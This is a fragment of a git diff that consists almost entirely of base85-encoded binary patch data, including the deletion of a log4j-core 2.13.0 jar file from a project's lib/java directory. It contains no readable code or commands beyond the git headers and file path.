zEip4&zJ-TY!yDe@&?n|47qG1R{L;Pv-6oI+E$X)<b7)r#9()3pE7y=#^@w>*R_%fr
zSA*E;VBpkH1t{pR#h|wvT;5fhddQOKx((6i+=@-Z7$SrphbvH5w}>YVo3!%EsrtwP
zyCbR95?FgG2Udm=7S-oY%V=8;X|Uhbfe_*OI2{+pSFPv=c|~<upX&-rN^9lY6L)RT
zg{4>_8ca|<AE!fyHa?%WP;@izBD1pA=UjuYYk`>pJT&DSG)0NHduLr-*iZ;~cg&j;
zuHx`m`0`=nWR?=rK)b?%S?0V}^|pZcLp*eiDFB@}{vB1cKv+&7XNMmYv<u4v^*`~@
zi)!RhLU^)lD{uZQf!RPgj)x{Vou?}yxm|A(H$j+Jd|6WpWoizyps7dj3=V*>Z{nW!
zOB>sG>$j^hL)7HJH0aSYu^S;P26N@nl1vk!>Fx8a|BHJW4JD#-E}6>#pq`xjep2;?
z&0^U^u?QI;ZHENU=OJKFA+-=KJB784_ct%YRh1&Iptb4iA1UCFLWCRmvL}D7s|8tH
ztCTB;t$Y%Yeny!$8rs}?e77oOv9*#soOs1UR^Ti;k?4nOlF1ViTSmPagFEVi?mcZt
z)L5&4;FE`N$JQ6mbSQofV!ztZH|gKKfdfNq0;_TOof*8fEWi0}-ezM2)-Rw!Z<otK
zk$I0m!bVtp3hLi=7jx$U5WEgx;>YQT-1$%96Z|87V@g_#LAqp00%XRy;2zuIO)eu_
zq(YjN=LPvhZ;nkcr}_>!=8t)P%|>vx7o3HOY~iQVvFc0C^|_*~$|#ll{e?yB?Ta$_
zN16j|JgfvEtXi>PE4K+XWw!aW0f(Ojd!#S$&A_kYk~J3>0}5hblau8gzc|nXhd&Q{
zp?Plfw<^f9U+}`+xQOhiJvjkKKa8r2=Au90WpMuSg(02M;5D~HSTyR*(vjr!<aIk)
zN1Bx(ZHTCk6>*?of$pY;TpZsvr1kSNL2y4F8lqaC<q#G_lumKdy*PYmFl*Qc;^b5a
zwa=*l@LEHczL_3f@@M}9`dOe)+Y`;stDx^GNZFdF{KkIZtd0u~!3Hwx`HI?fK?RDq
zGfZ8uG(*W(Ym~D!k$2&KX=e5Q6%|loVJj$>8&Ddl+vFv2{y+)AEQpGx>^cW2t@5(C
zH2u=+hB-EfhUpir1CvX6^brlcN*rn0dv5zZcnP&~IPwxI_Q2m2Xw!FphuHNtSh_Td
n_peK&4r&vA-Jh(5vv@9woEFMY!Ch!HXYh}`KOA=q<gEEWi7NYU

literal 0
HcmV?d00001

diff --git a/lib/java/log4j-core-2.13.0.jar b/lib/java/log4j-core-2.13.0.jar
deleted file mode 100644
index 0fc39c378f62149013815450915b2bf5a6d074f8..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1699556
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
